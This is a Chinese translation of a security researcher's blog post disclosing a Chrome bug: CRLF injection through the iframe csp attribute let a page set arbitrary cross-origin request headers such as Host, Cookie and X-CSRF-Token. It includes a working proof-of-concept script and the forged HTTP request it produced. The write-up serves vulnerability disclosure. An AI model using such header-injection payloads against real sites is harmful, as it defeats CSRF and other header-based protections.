原文:https://blog.bentkowski.info/2018/06/setting-arbitrary-request-headers-in.html

概述


在这篇短文中,将为读者介绍在Chrome中最近发现的一个安全漏洞,利用这个漏洞,攻击者可以在跨域请求中设置任意头部。近期,@insertScript在Adobe Reader插件中也发现了一个非常类似的安全漏洞,但事实证明,许多浏览器中也存在这类漏洞。

为什么说这个漏洞的危害非常严重呢? 因为攻击者可以利用它来注入任意的请求头部,包括X-CSRF-Token、Host、Referer或Cookie等,而许多安全措施都是根据这些头部来运行的。

漏洞的技术细节


最近,我偶然在iframe元素中找到了一个之前没有注意到的新属性,即csp属性,不难猜到,它是用来指定内容安全策略(CSP)的,具体如下所示:

那么,该属性到底是如何起作用的呢? 当您为iframe元素设置src属性时,将生成以下请求:

GET / HTTP/1.1
Host: www.google.com
upgrade-insecure-requests: 1
sec-required-csp: script-src google.com
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
accept-encoding: gzip, deflate, br
accept-language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
cookie: [...]

其中,有一个名为Sec-Required-CSP的头部,其值等于之前设置的csp属性值。关于这个头部的详细信息,请参阅Content Security Policy: Embedded Enforcement。简单来说,Web开发者可以利用这种机制要求嵌入的内容符合特定的CSP策略。也就是说,嵌入的内容可以被接受或拒绝;如果被拒绝的话,页面就不会被渲染。

现在,让我们回到csp属性本身,因为这个属性的值涉及请求头部,所以,为了利用它,还得借助CRLF注入,如:

<!doctype html><meta charset=utf-8>
.<script>
 const ifr = document.createElement('iframe');
 ifr.src = 'http://bntk.pl/';
 ifr.csp = 'script-src**\r\nX-CSRF-Token: 1234\r\nUser-Agent: Firefox\r\nCookie: abc\r\nHost: absolutely-random-host.google**';

 document.body.appendChild(ifr);
</script>

它会生成如下所示的请求:

GET / HTTP/1.1
Host: absolutely-random-host.google
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Required-CSP: script-src
X-CSRF-Token: 1234
User-Agent: Firefox
Cookie: abc
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7

这真是一个很糟糕的漏洞!

时间线


源链接

Hacking more

...